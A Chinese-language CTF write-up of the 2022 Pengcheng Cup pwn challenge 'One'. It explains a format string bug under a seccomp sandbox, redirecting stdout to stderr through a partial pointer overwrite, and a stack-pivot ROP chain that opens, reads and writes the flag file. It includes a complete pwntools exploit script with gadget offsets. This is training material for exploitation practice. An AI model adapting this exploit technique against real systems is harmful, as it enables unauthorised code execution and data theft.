2022 鹏城杯 Pwn One
比赛的时候没 patch 它给的 libc, 结果完全不知道怎么入手. 赛后补题时才发现, 然后给搞了出来. 我是sb. 爬.
不同的 libc 在一些库函数的实现上是不一样的, 所以泄漏的残留在栈上的数据很可能是不同的. 吸取教训, 下次管他是不是堆, 只要给了 libc 都 patch 好了再打.
这题涉及到了沙箱, orw, IO_FILE 和 fmt, orw, fmt 没写过总结, IO_FILE 用到的不多, 暂时也不深入研究, 沙箱没研究过. 这里边看题边简单说一下 IO_FILE. fmt 和 orw 就不写了太麻烦了.
保护全开. 整个逻辑非常简单
main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[2056]; // [rsp+0h] [rbp-810h] BYREF
unsigned __int64 v5; // [rsp+808h] [rbp-8h]
v5 = __readfsqword(0x28u);
init();
memset(s, 0, 0x800uLL);
printf("gift:%p\n", s);
login();
puts("Now, you can't see anything!!!");
close(1);
read(0, s, 0x200uLL);
printf(s);
return 0;
}
init:
unsigned int init()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init();
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_load(v1);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
return alarm(0x12Cu);
}
login:
unsigned __int64 login()
{
char s[16]; // [rsp+0h] [rbp-30h] BYREF
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(s, 0, 8uLL);
memset(buf, 0, 8uLL);
printf("username:");
read(0, s, 8uLL);
printf("password:");
read(0, buf, 8uLL);
printf("Hello %s\n", s);
return __readfsqword(0x28u) ^ v3;
}
很明显能够找到两个漏洞, 一个是 main 函数中的 fmt, 另一个是 login 函数中, 只清空了 s 的前 8 个字节, 而 read 8 个字节, 输出 s, 这样可以泄漏栈上原本的 8 个字节的数据.
main 函数中还给出了 s 的地址, 也就是说我们可以获得栈地址. 有了栈地址, 配合 fmt 任意地址写, 这样我们就具有构造 ROP 链的机会.
sandbox, 禁用了 execve, 考虑 orw.
难办的是, 关闭了 stdout (main 中的 close(1)
).
先来看看 login 泄漏的是什么, 发现泄漏的是 _start
的地址. 这对我们来说是一件好事. 由于开启了 PIE, 导致程序装载进内存有一段偏移, 这段现在这段偏移我们可以知道了. 可以配合 fmt, 修改返回地址到 _start
, 这样就具有多次 fmt 的能力了.
由于需要 orw, 又无法写 shellcode, 所以要想办法泄漏 libc, 从而要想办法输出. 除了 stdout, 还有 stderr 可以输出到屏幕.
init 函数中执行了 setbuf(stdout, 0)
, setbuf(stdin, 0)
, setbuf(stderr, 0)
这些操作. 这回导致本来在 libc 的全局变量中的 stdin, stdout, stderr 会放在程序的 .bss 段.
stdout 等本身不是文件描述符, 而是一个指向 IO_FILE 的指针. IO_FILE 是一个 I/O 文件结构体, 里面有一个变量 fileno, 这个 fileno 才是 fd. 输出库函数会先找 stdout, 然后找到 IO_FILE, 然后找到 fileno, 再去调用 syscall. 对于 stdout 来说, 指向的 IO_FILE 是 _IO_2_1_stdout_
, stderr 的是 _IO_2_1_stderr_
(均为 libc 中定义的符号).
既然 .bss 上的 stdout 是指针, 那么可以将 stdout 修改成和 stderr 一样, 也就是使其指向 _IO_2_1_stderr_
, 这样输出库函数执行的时候, 找 stdout, 然后找到了 _IO_2_1_stderr_
, 最后找到了 fd = 2, 调用 syscall 进行输出. 这样就可以达到输出到屏幕的目的.
那么问题来了, 怎么修改这个 stdout 呢.
首先我们知道了 PIE 的偏移, 于是 .bss 的地址可以计算得到. 这样我们就知道了 stdout 的地址. stdout 和 stderr 的值 (地址) 是从 libc 中获取的, libc 的符号相对偏移是固定的, 同时低 12 位由于页映射不变. 多次调试观察一下 .bss 段中保存的 stdout 和 stderr 的地址, 仅有最低 2 字节是不同的.

那么就可以利用 fmt 任意地址写, 去覆盖 stdout 的低 2 字节, 其中, 最低字节确定是 0xc0, 再高 4 位是 0x5, 那么只有再往上 4 位是不知道的. 不知道没关系, 随便填一个, $\frac 1 {16}$ 的概率打中, 那复杂度完全可以接受. 有没有成功也很容易判断, 看能不能接收到数据就行了. 记得同时覆盖返回地址到 _start
.
然后就可以计算 main 函数的返回地址的偏移, 利用 fmt 泄漏 libc 偏移了. 接下来就是简单构造 open("flag.txt", 0)
, read(1, buf, size), write(2, buf, size)
的 ROP 链了. read(1)
是因为 close(1)
了, 再 open 的话 fd 是 1. write(2)
是因为得输出到 stderr. buf 可以取栈上的地址. 由于 read 和 write 的 buf 和 size 是一样的, 写 ROP 链的时候 write 可以只改 rdi.
由于用到了第三个参数, 所以需要一个 pop rdx; ret. 这玩意用 rizin 的 /ad/
找不到, 用 ROPgadget 可以. 原因可能是, 唯一一个 pop rdx; ret, 是某个 call 的一部分, rizin 找 ROP gadgets 貌似不是遍历, 而 ROPgadget 是. (那看来用 rizin 替代所有工具的美好愿景无法实现了. 哦不对, 本来就没法实现, ida 还是比较好用)
exp:
from pwn import *
context(os="linux",arch="amd64",log_level='debug')
libc = ELF('./libc-2.31.so')
io = process('./pwn')
while True:
io.recvuntil(b'gift:')
format_addr = int(io.recvline(keepends=False), 16)
debug(f'format_addr: {hex(format_addr)}')
return_addr = format_addr + 0x810 + 0x08
debug(f'return_addr: {hex(return_addr)}')
io.send(b'a' * 8)
io.send(b'a' * 8)
io.recvuntil(b'Hello aaaaaaaa')
start_addr = u64(io.recvline()[:6].ljust(8, b'\x00'))
debug(f'start_addr: {hex(start_addr)}')
offset_pie = start_addr - 0x11a0
debug(f'offset_pie: {hex(offset_pie)}')
bss_stdout_addr = offset_pie + 0x4020
debug(f'bss_stdout_addr: {hex(bss_stdout_addr)}')
io.recvuntil(b"Now, you can't see anything!!!\n")
payload = fmtstr_payload(6, {return_addr: start_addr})
io.send(payload)
io.send(b'a' * 8)
io.send(b'a' * 8)
return_addr -= 0xe0
debug(f'return_addr: {hex(return_addr)}')
payload = b'%53c%25$hhn%139c%24$hhna'
payload += fmtstr_payload(9, {return_addr: start_addr}, numbwritten=53+139+1)
payload += p64(bss_stdout_addr) + p64(bss_stdout_addr+1)
io.send(payload)
try:
io.recvuntil(b'gift:')
format_addr = int(io.recvline(keepends=False), 16)
debug(f'format_addr: {hex(format_addr)}')
return_addr = format_addr + 0x810 + 0x08
debug(f'return_addr: {hex(return_addr)}')
io.send(b'a' * 8)
io.send(b'a' * 8)
io.recvuntil(b"Now, you can't see anything!!!\n")
payload = b'%265$p!!'
payload += fmtstr_payload(7, {return_addr: start_addr}, numbwritten=16)
io.send(payload)
libc_start_main_ret_addr = int(io.recvuntil(b'!!')[:-2], 16)
debug(f'libc_start_main_ret_addr: {hex(libc_start_main_ret_addr)}')
offset_libc = libc_start_main_ret_addr - 0x24083
debug(f'offset_libc: {hex(offset_libc)}')
io.recv()
pop_rsp_ret = offset_libc + 0x00197102
pop_rdi_ret = offset_libc + 0x00083900
pop_rsi_ret = offset_libc + 0x0002601f
pop_rdx_ret = offset_libc + 0x00142c92
open_addr = offset_libc + libc.sym['open']
read_addr = offset_libc + libc.sym['read']
write_addr = offset_libc + libc.sym['write']
io.recvuntil(b'gift:')
format_addr = int(io.recvline(keepends=False), 16)
debug(f'format_addr: {hex(format_addr)}')
return_addr = format_addr + 0x810 + 0x08
debug(f'return_addr: {hex(return_addr)}')
io.send(b'a' * 8)
io.send(b'a' * 8)
io.recvuntil(b"Now, you can't see anything!!!\n")
payload = fmtstr_payload(6, {return_addr: pop_rsp_ret, return_addr + 8: format_addr+0x118})
payload = payload.ljust(0x100, b'\x00')
payload += b'flag.txt'.ljust(0x18, b'\x00')
payload += p64(pop_rdi_ret) + p64(format_addr + 0x100) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(format_addr+0x200) + p64(pop_rdx_ret) + p64(0x40) + p64(read_addr)
payload += p64(pop_rdi_ret) + p64(2) + p64(write_addr)
io.send(payload)
io.interactive()
except EOFError as e:
io.close()
io = process('./pwn')
except Exception as e:
raise e
嫌 fmt 写 ROP 麻烦, 用 pop rsp 迁移了一下栈到输入数组中间, 这样就可以输入布置 ROP 链了.